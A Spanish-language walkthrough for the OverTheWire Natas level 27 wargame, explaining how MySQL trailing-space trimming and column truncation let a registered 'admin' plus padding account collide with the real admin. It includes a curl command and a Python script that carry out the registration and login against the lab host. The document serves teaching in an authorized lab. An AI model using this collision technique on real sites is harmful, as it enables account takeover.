Natas Nivel 27 a 28

Nivel oficial: http://natas27.natas.labs.overthewire.org

Este nivel explota un bug sutil de MySQL relacionado con la longitud y el tratamiento de espacios en columnas CHAR/VARCHAR: al registrar un usuario cuyo nombre es admin seguido de suficientes espacios (hasta llenar o exceder la longitud de la columna), MySQL recorta los espacios finales y trata el valor como si fuera admin, colisionando con la cuenta privilegiada ya existente y permitiendo acceder a ella con una contrasena arbitraria.

Este ejercicio se realiza en el entorno de laboratorio legal y autorizado de OverTheWire (https://overthewire.org/wargames/natas/).


Objetivo

Iniciar sesion como el usuario admin sin conocer su contrasena, aprovechando el comportamiento de truncacion y recorte de espacios finales de MySQL en columnas de longitud fija.


Que aprendes

Concepto / ComandoPara que sirve
Trailing-space trimming (MySQL)MySQL ignora los espacios al final al comparar CHAR/VARCHAR con =
Column-length truncationAl insertar mas caracteres de los que cabe en la columna, MySQL trunca silenciosamente
Colision de filas logicasDos filas con nombres aparentemente distintos se mapean al mismo usuario logico
curl con cookiesMantener sesion HTTP entre peticiones de registro y login
Inspeccion de codigo fuente PHPLeer el index.php expuesto para entender la logica de autenticacion

Concepto clave: trailing-space trimming y column truncation

En MySQL, cuando una columna es de tipo VARCHAR(n) o CHAR(n):

  1. Truncacion silenciosa: insertar una cadena mas larga que n caracteres hace que MySQL (en modo no estricto) descarte los caracteres sobrantes sin error.
  2. Recorte de espacios finales: las comparaciones con = ignoran los espacios al final de la cadena. Es decir, 'admin ' = 'admin' es TRUE en MySQL.

La combinacion de ambas propiedades crea la vulnerabilidad:

  • La columna username tiene, por ejemplo, longitud 64.
  • Si registras 'admin' + ' ' * 60 + 'x' (65 caracteres), MySQL trunca a 64 caracteres: 'admin' + ' ' * 59. Eso ya no es admin exacto, pero…
  • Si registras 'admin' + ' ' * 64 (69 caracteres), MySQL trunca a 64: 'admin' + ' ' * 59. Al comparar con =, los espacios finales se ignoran y la condicion username = 'admin' es TRUE.
  • El codigo PHP no detecta que ya existe un admin porque la comprobacion de duplicado usa la misma logica de comparacion: busca admin con espacios y no lo encuentra en la sesion recien creada (depende de la implementacion), permitiendo el INSERT.

El resultado es que existen dos filas en la tabla que MySQL considera admin, pero el login devuelve los datos de la nueva fila (la tuya, con contrasena conocida).


Paso a paso

1. Leer el codigo fuente

Accede al nivel con las credenciales de natas27 (<pass_natas27>):

http://natas27.natas.labs.overthewire.org

Abre el enlace al codigo fuente (normalmente index.php o el icono de llave en la esquina superior). Localiza:

  • El nombre y longitud de la columna username en la tabla (ej. VARCHAR(64)).
  • La logica de comprobacion de usuario existente antes del INSERT.
  • La logica de login (query de SELECT).

Esto te dara el numero exacto de espacios necesarios para truncar hasta admin.

2. Calcular el payload de registro

Si la columna username es VARCHAR(64):

  • admin tiene 5 caracteres.
  • Necesitas rellenar hasta superar 64: admin + 60 espacios = 65 caracteres → MySQL trunca a admin + 59 espacios (64 chars).
  • Al comparar con =, los espacios finales se ignoran: es logicamente admin.
# Calcula cuantos espacios necesitas
python3 -c "col=64; print('admin' + ' '*(col-5+1))"
# => admin + 60 espacios (65 chars; MySQL trunca a 64)

3. Registrar el usuario colisionado

Usa curl para enviar el formulario de registro. Sustituye <espacios> por la cadena calculada en el paso anterior (65 o mas espacios tras admin):

curl -s -c cookies.txt \
  -d "username=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&password=hacked&confirm=hacked" \
  "http://natas27.natas.labs.overthewire.org/index.php"

Nota: los %20 son espacios URL-encoded. Cuenta que sean suficientes para superar la longitud de la columna. Alternativamente, usa un script Python (ver paso 4) para mayor precision.

4. Script Python alternativo (recomendado)

import requests
 
URL   = "http://natas27.natas.labs.overthewire.org/index.php"
CREDS = ("natas27", "<pass_natas27>")
COL_LEN = 64   # ajusta si el codigo fuente indica otro valor
 
username_payload = "admin" + " " * (COL_LEN - 5 + 1)  # supera la longitud por 1
password_payload = "hacked"
 
session = requests.Session()
session.auth = CREDS
 
# Paso A: registrar el usuario colisionado
r = session.post(URL, data={
    "username": username_payload,
    "password": password_payload,
    "confirm":  password_payload,
})
print("[registro]", r.text[:200])
 
# Paso B: iniciar sesion con la contrasena que elegimos
r = session.post(URL, data={
    "username": "admin",
    "password": password_payload,
})
print("[login]", r.text[:500])
python3 natas27_exploit.py

5. Leer la contrasena de natas28

Tras el login exitoso como admin, la pagina mostrara la contrasena de natas28 (<pass_natas28>). Copiala.


Por que funciona

MySQL, en modo SQL no estricto (STRICT_TRANS_TABLES desactivado), trunca silenciosamente los valores que exceden la longitud de la columna en lugar de lanzar un error. Ademas, las comparaciones de cadenas con = en MySQL ignoran los espacios finales (trailing spaces) por definicion del estandar SQL-92, que MySQL implementa para tipos CHAR y tambien para VARCHAR en comparaciones con =.

La aplicacion PHP comprueba si el usuario ya existe buscando la cadena exacta, pero el INSERT con espacios extra se trunca a admin + espacios, que pasa la validacion. En el momento del login, WHERE username = 'admin' hace match contra ambas filas; la logica de la aplicacion devuelve una de ellas (generalmente la primera, que puede ser la tuya o la original segun el ORDER BY implicito). Si devuelve la tuya, la contrasena hacked es correcta y el login tiene exito como admin.

Aviso: el comportamiento exacto (que fila devuelve el SELECT sin ORDER BY) puede variar. Si el primer intento no funciona, prueba a repetir el registro varias veces o a verificar el codigo fuente para ver si hay un LIMIT 1 y en que orden se obtiene la fila.


Errores comunes

ErrorCausaSolucion
El registro falla con “user already exists”La comprobacion de duplicado detecta el usuario truncadoAumentar ligeramente los espacios o revisar si la app compara con TRIM; en ese caso la tecnica no aplica directamente
El login dice “wrong password”El SELECT devuelve la fila original de admin, no la tuyaConsulta el codigo fuente: si hay ORDER BY id ASC LIMIT 1, la fila original (id menor) tiene prioridad; intenta registrar el usuario colisionado multiples veces para ocupar mas filas
curl recorta los espaciosAlgunos shells eliminan espacios en argumentos sin comillasUsa el script Python, que gestiona la cadena correctamente, o URL-encode los espacios como %20
La longitud de columna es diferenteEl codigo fuente indica VARCHAR(32) u otro valorRecalcula: necesitas 5 + (col_len - 5 + 1) caracteres totales; ajusta COL_LEN en el script

Pasar al siguiente nivel

La contrasena obtenida (<pass_natas28>) se usa para acceder a:

http://natas28.natas.labs.overthewire.org

Usuario: natas28 | Contrasena: <pass_natas28>


Conexiones